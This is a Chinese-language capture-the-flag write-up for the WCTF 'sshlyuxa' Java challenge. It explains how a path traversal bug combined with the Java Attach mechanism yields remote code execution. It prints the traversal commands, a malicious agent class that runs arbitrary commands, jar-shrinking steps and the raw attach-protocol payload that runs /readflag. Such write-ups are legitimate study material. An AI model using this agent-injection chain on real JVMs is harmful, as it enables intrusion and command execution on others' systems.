在WCTF中,sshlyuxa被评为了best challenge,这是一道很有的Java Pwn题,利用Java Attach进行RCE。
这道题目给出了源码及docker环境。题目通过ssh的方式登录,然后可以选择创建/销毁一个App,创建完App后,在这个App中可做如下三个操作。
通过分析源码可以得知,无论是在生成public key或socket文件时,以及读取显示public key时都存在很明显的目录遍历漏洞。
综上,可以做的操作有:
以上就是这道题目用到的所有的漏洞点,非常地显而易见。最关键的是将其和Java Attach机制联想起来,利用Java Attach动态加载Agent的特性,来实现RCE。
这道题的关键在于Java Attach机制。Java Attach机制通过启动目标JVM的Attach Listener线程,然后Attach Listener线程监听命令来实现的。
Attach Listener线程的启动方式有2种,一是目标JVM启动时通过jvm参数指定,二是依靠Signal Dispatcher线程启动。这道题只能通过第二种方式,正常情况下是通过外部程序调用VirtualMachine.attach(pid)来实现attach上目标JVM。在无法调用attach()方法的情况下,分析attach()方法的源码,查看在整个attach过程中,到底做了哪些操作。
定位到attach()方法中的LinuxVirtualMachine构造函数。
LinuxVirtualMachine(AttachProvider provider, String vmid) throws AttachNotSupportedException, IOException { ... path = findSocketFile(pid); if (path == null) { File f = createAttachFile(pid); try { if (isLinuxThreads) { int mpid; try { mpid = getLinuxThreadsManager(pid); } catch (IOException x) { throw new AttachNotSupportedException(x.getMessage()); } assert(mpid >= 1); sendQuitToChildrenOf(mpid); } else { sendQuitTo(pid); } ... do { ... path = findSocketFile(pid); i++; } while (i <= retries && path == null); ... } finally { f.delete(); } } int s = socket(); try { connect(s, path); } finally { close(s); } }
可以看到它会先判断对应目录下是否存在socket文件,若无socket文件,则在当前工作目录创建.attach_pid${pid}
文件,然后向目标JVM发送SIGQUIT
信号。之后就等待socket文件被创建,成功创建后,即可连接发送命令。
当目标JVM的Signal Dispatcher线程接收到SIGQUIT
信号后,就会启动Attach Listener线程,当该线程启动以后,目标JVM会创建一个监听socket,即/tmp/.java_pid${pid}
,这也是上面一直在等待的socket文件。这个文件的成功创建,标志着已经attach上目标JVM了。Attach Listener接下来的任务就是监听socket文件,接收解析执行命令。
整个题目的思路很清晰了,分为以下两步。
根据上面对于Java Attach机制的分析,我们首先需要获得目标JVM的pid,然后启动目标JVM的Attach Listener线程。
目标JVM的pid可通过main线程的nid进行预测。通过向目标JVM发送SIGQUIT
信号,即可打印出这些信息。
在ubuntu20.04下pid为nid-1的十进制,这里为46439。
获取到目标JVM的pid后,就可以创建.attach_pid46439
文件,利用前面的目标遍历漏洞,在register并auth后,可以创建任意位置的.attach_pid46439
文件。此时执行的命令为
register ../.attach_pid46439
auth ../.attach_pid46439
这样,就成功创建了.attach_pid46439
文件,然后再次发送SIGQUIT
信号。此时可以发现/tmp/.java_pid46439
成功创建,说明已经成功attach上目标JVM。
agent的内容是攻击者上传的一个恶意Jar包。由于任意写入到.pub文件限制了512字节的大小,因此需要整个Jar包的内容非常简洁。自然地,一个精简的内容如下:
//A.java
import java.lang.instrument.Instrumentation;
import java.lang.Runtime;
public class A{
public static void agentmain(String string, Instrumentation instrumentation) throws Exception{
java.lang.Runtime.getRuntime().exec(string);
}
}
//META-INF/MANIFEST.MF
Agent-Class: A
采用Jar命令压缩时仍然超出了512字节的大小,由于Jar也是标准的zip压缩格式,可以采用具有更高压缩比的7z压缩方式,压缩命令为
7z a -tzip -mx=9 agent.jar META-INF/MANIFEST.MF A.class
压缩完,确实比之前减少了很所,但仍然超过了512字节,查看A.class,java自动地加上了默认构造函数。
可利用处理器编写Processor来移除它。执行的命令为
javac -g:none -processor MyProcessor A.java
即便这样之后,还未达到512字节,使用字节码编辑器去掉异常相关代码,并移除pop操作,这样最终准备好了512字节的Jar包。将其写入到/tmp/pld.pub文件中,执行注册命令,然后输入十六进制编码的Jar包内容。
register ../../../../../tmp/pld
>>> 输入Jar包内容
然后向目标JVM发送动态加载Jar包的命令,由于向/tmp/.java_pid46439
发送命令,需要使用msgto <username>。因此需要注册一个../../../../../tmp/.java_pid46439
用户。
</username>
在注册完后,即可向其发送消息,消息内容为十六进制编码的命令。
1\x00load\x00instrument\x00false\x00/tmp/pld.pub=sh -c $@|sh . echo /readflag /FLAG>/tmp/flag.pub\x00
发送完之后,这条指令就会被执行,因此flag内容被存入了/tmp/flag.pub中,此时只需要向../../../../../tmp/flag发送消息,就会将/tmp/flag.pub内容十六进制编码后显示出来。最后获取到了flag。
这道题目提供了一个利用Java Attach的攻击方式,是一个很好的思路,值得学习。在遇到Java的各种机制时,尤其涉及数据传输(反序列化)、执行Java代码等时,不妨详细了解整个机制的情况,思考恶意利用的条件和可能场景。
https://github.com/paul-axe/ctf/tree/master/wctf2020/sshlyuxa